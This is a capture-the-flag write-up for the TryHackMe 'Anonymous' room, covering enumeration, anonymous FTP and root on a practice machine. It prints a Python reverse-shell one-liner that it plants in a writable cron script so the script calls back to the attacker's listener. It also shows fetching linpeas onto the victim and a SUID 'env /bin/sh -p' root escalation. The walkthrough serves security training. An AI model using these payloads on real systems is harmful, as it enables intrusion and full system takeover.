

# Anonymous THM Room by Winter

Today we have an interesting room called Anonymous, let's solve it and capture all the flags! The TryHackMe format is a little different from HackTheBox, so I will NOT POST THE ANSWERS TO THE QUESTIONS IN THE WRITEUP. I will only post important flags such as user or root.

## ENUMERATION & FIRST FOOTHOLD

First of all we just have an IP, so let's perform a basic enumeration on the target IP.

```
PORT      STATE SERVICE      REASON          VERSION
21/tcp    open  ftp          syn-ack ttl 63 vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ drwxrwxrwx    2 111      113           4096 Jun 04 2020 scripts [NSE: writeable]
| ftp-syst:
|_ STAT:
|_ FTP server status:
|_   Connected to ::ffff:10.8.6.10
|_   Logged in as ftp
|_   TYPE: ASCII
|_   No session bandwidth limit
|_   Session timeout in seconds is 300
|_   Control connection is plain text
|_   Data connections will be plain text
|_   At session startup, client count was 4
|_   vsFTPd 3.0.3 - secure, fast, stable
|_ End of status
22/tcp    open  ssh          syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; pr
otocol 2.0)
| ssh-hostkey:
|_ 2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA)
|_ ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQDCi47ePYjDctfwgAphABwT1jpPkKajXoLv3bb/zvvpvDvXwWKn
m6nZuzL2HA1veS0a90ydSSpg8S+B8SLpkFycv7iSy2/Jmf7qY+8oQxWThH1fwBMI05g/TTtRRta6IPoKaMCle8hnp5
pSP5D4saCpSW3E5rKd8qj3oAj6S8TWgE9cBNJbMRtVu1+sKjUy/7ymikcPGAjRSSaFDroF9fmGDQtd61oU5waKqurh
Zpre70Uf0kZGwt6954rwbXthTeEjf+4J5+gIPDLcKzV07BxkuJgTqk4lE9ZU/5INBXGpgI5r4mZknbEPJKS47Xa0vk
qm9QWveo0S0gkqdhIPjnhD
|_ 256 95:89:a4:12:e2:e6:ab:90:5d:45:19:ff:41:5f:74:ce (ECDSA)
|_ ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBpjHnAlR7sBuoSM2
X5sATLllsFrcUNP87qXzhMD99aGGzy0lnWmjHGNmm34cWSz0ohxhoK2fv9NWwcIQ5A/ng=
|_ 256 e1:2a:96:a4:ea:8f:68:8f:cc:74:b8:f0:28:72:70:cd (ED25519)
|_ ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDHIuFL9AdcmaAIY7u+aJillcovB44FA632BSQ7sUqap
139/tcp    open  netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp    open  netbios-ssn syn-ack ttl 63 Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

The nmap results are pretty interesting, a 21/TCP port for a FTP with anonymous login, we'll check this now, we also have a 22/tcp port for a SSH, but we don't have credentials yet and a 445 and 139 tcp ports for a SMB service.

As i said, let's dive into the port 21 to check that anonymous login on the FTP service.

```
ftp> ls
229 Entering Extended Passive Mode (|||53792|)
150 Here comes the directory listing.
drwxrwxrwx    2 111      113           4096 Jun 04 2020 scripts
226 Directory send OK.
ftp> cd scripts
250 Directory successfully changed.
```

```

229 Entering Extended Passive Mode (|||53927|)
150 Here comes the directory listing.
drwxrwxrwx   2 111      113      4096 Jun 04  2020 .
drwxr-xr-x   3 65534    65534     4096 May 13  2020 ..
-rwxr-xrwx   1 1000     1000      314 Jun 04  2020 clean.sh
-rw-rw-r--   1 1000     1000    1161 Sep 05 07:10 removed_files.log
-rw-r--r--   1 1000     1000      68 May 12  2020 to_do.txt
226 Directory send OK.
ftp> 

```

Here we can find a folder named “scripts” and inside it, we find some files. A script called “[clean.sh](#)”, a log file called “removed\_files” and a to\_do.txt, let’s download all the files.

```

ftp> prompt
Interactive mode off.
ftp> mget *
local: clean.sh remote: clean.sh
ftp: Can't chmod `clean.sh': Operation not permitted
local: removed_files.log remote: removed_files.log
229 Entering Extended Passive Mode (|||48106|)
150 Opening BINARY mode data connection for removed_files.log (1333 bytes).
100% |*****| 1333      3.22 MiB/s   00:00 ETA
226 Transfer complete.
1333 bytes received in 00:00 (26.39 KiB/s)
local: to_do.txt remote: to_do.txt
229 Entering Extended Passive Mode (|||50609|)
150 Opening BINARY mode data connection for to_do.txt (68 bytes).
100% |*****| 68      1.09 KiB/s   00:00 ETA
226 Transfer complete.
68 bytes received in 00:00 (0.60 KiB/s)
ftp> 

```

Ok, let’s dive into the files!

```

> cat to_do.txt

```

	File: to_do.txt
1	I really need to disable the anonymous login...it's really not safe

Not much here...

```

> cat clean.sh

```

	File: clean.sh
1	#!/bin/bash
2	
3	tmp_files=0
4	echo \$tmp_files
5	if [ \$tmp_files=0 ]
6	then
7	echo "Running cleanup script: nothing to delete" >> /var/ftp/scripts/rem
8	oved_files.log
9	else
10	for LINE in \$tmp_files; do
11	rm -rf /tmp/\$LINE && echo "\$(date)   Removed file /tmp/\$LINE" >> /var/ftp
	/scripts/removed_files.log;done
	fi

But here we go! we got some interesting sauce here, because if we check the log file:

```
File: removed_files.log
1 Running cleanup script: nothing to delete
2 Running cleanup script: nothing to delete
3 Running cleanup script: nothing to delete
4 Running cleanup script: nothing to delete
5 Running cleanup script: nothing to delete
6 Running cleanup script: nothing to delete
7 Running cleanup script: nothing to delete
8 Running cleanup script: nothing to delete
9 Running cleanup script: nothing to delete
10 Running cleanup script: nothing to delete
11 Running cleanup script: nothing to delete
12 Running cleanup script: nothing to delete
13 Running cleanup script: nothing to delete
14 Running cleanup script: nothing to delete
15 Running cleanup script: nothing to delete
16 Running cleanup script: nothing to delete
17 Running cleanup script: nothing to delete
18 Running cleanup script: nothing to delete
19 Running cleanup script: nothing to delete
20 Running cleanup script: nothing to delete
:[]
```

We actually can see that the script is executed regularly. That means that the script will most likely be part of a cronjob. Also, we can see that the script have a syntax error, because it should count the files in temp, but in that sh script `tmp_files=0`, we can compare numbers with `-eq`, not with `if [ $tmp_files=0 ]`, so the `tmp_files` is HARDCODED to 0.

What that means? It means that `tmp_files` will ALWAYS be 0, so the only statement that will run will be the `if` one. So, the script only writes **"Running cleanup script: nothing to delete"** into `removed_files.log` each time it's executed as we can see here:

```
if [ $tmp_files=0 ]
then
    echo "Running cleanup script: nothing to delete" >> /var/ftp/scripts/rem
oved_files.log
```

That's an obvious way to get a shell, since, remember, we have anonymous access to FTP.

So first of all we'll set up a listener on our system with `nc -lvnp 4444`, and then we'll craft our payload:

```
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.6.10",6969));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;
pty.spawn("/bin/bash")'
```

Why python? i'll try it because the target's operating system is Linux, most likely Ubuntu, which comes with python by default.

So let's modify the script.

```
> sudo vim clean.sh
> cat clean.sh

File: clean.sh
1  #!/bin/bash
2
3  tmp_files=0
4  echo $tmp_files
5  if [ $tmp_files=0 ]
6  then
7      python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.6.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
8
9  else
10     for LINE in $tmp_files; do
11         rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp
12         /scripts/removed_files.log;done
13     fi
```

There we go, now we have a backdoor. The next step is to upload the file to the ftp server and wait until the cronjob executes it. (REMEMBER TO LISTEN WITH NC)

```
> nc -lvnp 4444
listening on [any] 4444 ...
```

Ok, time to upload the file:

```
ftp> put clean.sh
local: clean.sh remote: clean.sh
229 Entering Extended Passive Mode (|||58878|)
150 Ok to send data.
100% |*****| 450 5.79 MiB/s 00:00 ETA
226 Transfer complete.
450 bytes sent in 00:00 (4.51 KiB/s)
ftp> █
```

Done! and we can see that almost INSTANTLY the script gave us a shell.

```
> nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.8.6.10] from (UNKNOWN) [10.10.217.222] 58256
namelessone@anonymous:~$ |
```



Now after checking the files, I discovered that the user “namelessone” has a directory called “pics”. I'll check it out.

```
namelessone@anonymous:~/pics$ ls
ls
corgo2.jpg  puppos.jpeg
```

Interesting...

I'll download those files and check them out to see if there's something hidden in those pictures.

I start by setting up a http server with python on the victim machine, inside the pics directory:

```
namelessone@anonymous:~/pics$ python3 -m http.server 8080
python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
```


Now i simply download the files on my system.

```
> wget http://10.10.30.165:8080/corgo2.jpg
--2025-09-05 10:19:43-- http://10.10.30.165:8080/corgo2.jpg
Connecting to 10.10.30.165:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 42663 (42K) [image/jpeg]
Saving to: 'corgo2.jpg'

corgo2.jpg          100%[=====] 41.66K  160KB/s   in 0.3s
2025-09-05 10:19:43 (160 KB/s) - 'corgo2.jpg' saved [42663/42663]

> wget http://10.10.30.165:8080/puppos.jpeg
--2025-09-05 10:19:53-- http://10.10.30.165:8080/puppos.jpeg
Connecting to 10.10.30.165:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 265188 (259K) [image/jpeg]
Saving to: 'puppos.jpeg'

puppos.jpeg        100%[=====] 258.97K  980KB/s   in 0.3s
2025-09-05 10:19:54 (980 KB/s) - 'puppos.jpeg' saved [265188/265188]
```



Pretty cute, right?

Anyways, let's check the files in depth. I checked it with "strings", "steghide", "exiftool" but seems like there's no hidden data into that images.

## PRIVILEGE ESCALATION AND ROOT FLAG

Let's try to perform some privilege escalation with the user we have, "namelessone"  
I first checked the crontab:

```
namelessone@anonymous:~$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab`
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
namelessone@anonymous:~$
```

But there was nothing interesting there.

So instead of wasting time, i directly used linpeas into the /tmp folder.

```
> cd /usr/share/peass/linpeas/
> python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
□
```

```
namelessone@anonymous:~$ cd /tmp
cd /tmp
namelessone@anonymous:/tmp$ wget http://10.8.6.10/linpeas.sh
wget http://10.8.6.10/linpeas.sh
--2025-09-05 08:38:47-- http://10.8.6.10/linpeas.sh
Connecting to 10.8.6.10:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 954437 (932K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh          100%[=====>] 932.07K   988KB/s   in 0.9s

2025-09-05 08:38:48 (988 KB/s) - 'linpeas.sh' saved [954437/954437]

namelessone@anonymous:/tmp$ chmod +x linpeas.sh
chmod +x linpeas.sh
namelessone@anonymous:/tmp$ ./linpeas.sh
```

Now we will run linpeas and see if there's some interesting results...

```
OS: Linux version 4.15.0-99-generic (build@lcy01-amd64-013) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #100-Ubuntu SMP Wed Apr 22 20:32:56 UTC 2020
User & Groups: uid=1000(namelessone) gid=1000(namelessone) groups=1000(namelessone),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
Hostname: anonymous
```

That's something interesting:

```
108(lxd)
```

```
My user
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#users
uid=1000(namelessone) gid=1000(namelessone) groups=1000(namelessone),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
```

Also, we have root permissions over /usr/bin/env:

```
-rwsr-xr-x 1 root root 35K Jan 18 2018 /usr/bin/env
```

So let's keep it simple, let's try checking that binary on [GTFOBins](#):

### Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
env /bin/sh
```

It's pretty simple, so let's check it in the victim system:

```
env /bin/sh -p
# whoami
whoami
root
#
```

There we go, we're root, and now we can capture the root.txt!

```
# cd /root
cd /root
# ls
ls
root.txt
# cat root.txt
cat root.txt
```

Done! We've got it, we're root, and we have the user.txt and root.txt flags. I hope this writeup has been useful to you. See you in more rooms!